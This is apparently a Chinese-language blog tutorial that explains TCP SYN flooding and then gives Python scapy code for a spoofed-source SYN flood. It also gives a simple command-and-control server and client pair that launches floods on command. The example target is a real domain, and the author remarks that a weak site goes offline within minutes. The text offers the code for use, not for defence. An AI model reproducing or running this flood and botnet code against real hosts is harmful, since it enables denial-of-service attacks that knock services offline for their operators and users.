python-DDoS攻擊

背景:

網路傳輸層中,一般採用TCP協議,如果要建立連接,客戶端會先發送syn包請求,伺服器接收,接收後,再傳遞給客戶端ack,syn包,這個時候,客戶端再次回應,傳回ack包。可是問題就出在,如果我是客戶端,只發送一個請求syn包,然後第三次握手的時候,不再往回傳ack包,此時服務端是不是就要等待?

在等待的時間裡,我是不是可以偽造更多的請求,從而不斷消耗伺服器的資源,然後直到最後伺服器停止服務為止?

上述這種攻擊就是syn泛洪攻擊。

python中scapy庫來實現syn泛洪攻擊:

python3安裝方式:sudo pip3 install scapy-python3

注意:scapy庫的代碼必須運行在root許可權下

基本用法:

from scapy.all import *# 定義一個syn包,其中的格式如下:IP()/TCP(),IP中的src為自己的偽造的ip,dst為目標ip,# TCP中的dport為目標埠號,網路中普遍為80,flages=『S』這裡的s代表設置的是syn包pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")# 發送包,直接用sendsend(pkt)

具體來一個例子:

#!/usr/bin/env python3import randomimport socketimport timefrom scapy.all import *# 定義syn洪流函數,tgt為目標ip,dPort為目標埠def synFlood(tgt,dPort): # 先任意偽造4個ip地址 srcList = [11.1.1.2,22.1.1.102,33.1.1.2, 125.130.5.199] # 選擇任意一個埠號 for sPort in range(1024, 65535): index = random.randrange(4) # 類似上面那個代碼構造IP/TCP包,然後send ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags=S) packet = ipLayer/tcpLayer send(packet) domain = "www.baidu.com" #定義你想攻擊的域名,不建議是百度哈,別怪我沒提醒tgt = socket.gethostbyname(domain) #利用socket的方法獲取域名的ip地址,即dns解析print(tgt) # 可以列印出來看一下dPort = 80 # 網路傳輸常用埠號synFlood(tgt,dPort) #調用syn洪流函數,然後發送syn包# 發送完後就可以去看看這個伺服器的響應速度了。一般是持續發送幾分鐘,這個網站就訪問不了了# 前提是這個網站很渣。。哈哈

DDoS攻擊

而DDoS攻擊是啥?其實就類似上面這個syn洪流,只是DDoS採用的是多個客戶端在伺服器的命令下,一起像一個網站攻擊,類似這樣

其實現原理跟syn是一樣的,只是他採用了服務端可以直接控制客戶端然後發出請求。

具體的服務端與客戶端代碼我就直接帖上了

服務端:

import socketimport argparseimport threadingsocketList = []# 發送命令到所有的客戶機上def sendCmd(cmd): print(Send command....) for sock in socketList: sock.send(cmd.encode())# 等待連接,將建立好的連接加入到socketList列表中def waitConnect(s): while True: sock, addr = s.accept() if sock not in socketList: socketList.append(sock)def main(): # 創建tcp服務端 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) #設置埠重用 s.bind((0.0.0.0,58868)) s.listen(1024) # 線程創建等待連接請求 t = threading.Thread(target=waitConnect, args=(s,)) t.start() print("Wait at least a client connection!") while not len(socketList): # 沒有連接則一直等待 pass print("It has been a client connection") while True: print(=*50) # 命令格式 print(The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c start") # 等待輸入命令 cmd_str = input(please input cmd:) if len(cmd_str): if cmd_str[0] == #: sendCmd(cmd_str)if __name__ == __main__: main()

客戶端:

import argparseimport socketimport sysimport osfrom multiprocessing import Processimport randomfrom scapy.all import *curProcess = None# SYN泛洪攻擊,就是最開始的那串代碼,直接copy過來就好def synFlood(tgt, dPort): print("="*100) print("The syn flood is running") print(=*100) srcList = [11.1.1.2, 10.1.1.102, 33.1.1.2, 125.130.5.199] # 任意一個埠號 for sPort in range(1024, 65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort, flags=S) packet = ipLayer / tcpLayer send(packet)def cmdHandle(sock, parser): global curProcess while True: data = sock.recv(1024).decode() if len(data) == 0: print(The data is empty) return if data[0] == #: try: # 解析命令 options = parser.parse_args(data[1:].split()) m_host = options.host m_port = options.port m_cmd = options.cmd # print(m_cmd) # DDOS啟動命令 if m_cmd.lower() == start: if curProcess !=None and curProcess.is_alive(): curProcess.terminate() curProcess = None os.system(clear) print(The synFlood is start) p = Process(target=synFlood, args = (m_host, m_port)) p.start() curProcess = p elif m_cmd.lower() == stop: if curProcess.is_alive(): curProcess.terminate() os.system(clear) except: print("Failed to perform the command")def main(): # 添加需要解析的命令,就是伺服器發送過來的命令 # 命令格式:"#-H xxx.xxx.xxx.xxx -p xxxx -c start" p = argparse.ArgumentParser() p.add_argument(-H, dest=host, type=str) p.add_argument(-p, dest=port,type=int) p.add_argument(-c, dest=cmd, type=str) print("*" * 40) try: # 創建socket對象 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 這裡因為是在本地,所以連接的ip地址為本地ip地址127.0.0.1,埠為伺服器埠 s.connect((127.0.0.1,58868)) print(To connected server was success) print("=" * 40) # 處理命令 cmdHandle(s, p) except Exception as e: print(The network connected failed) print(please restart the script) sys.exit(0)if __name__ == __main__: main()

然後到這裡就可以在本地先開啟服務端,再開啟客戶端來實現了哈

記得用sudo哈

當看到客戶端是這樣的時候

哈哈,完成了。

不過,其實質是跟syn洪流一樣哈。只是多了一個包裝而已。

END

推薦閱讀:

世界上最受中國人歡迎的電影,你看過幾個?
黃哥Python 轉載的霸氣文章"Yes, Python is Slow, and I Don』t Care"
如何挑選你的第一門編程語言
第十五章 上下文管理器和else塊
django配置mysql資料庫問題解決

TAG:DDoS | Python | 黑客攻擊 |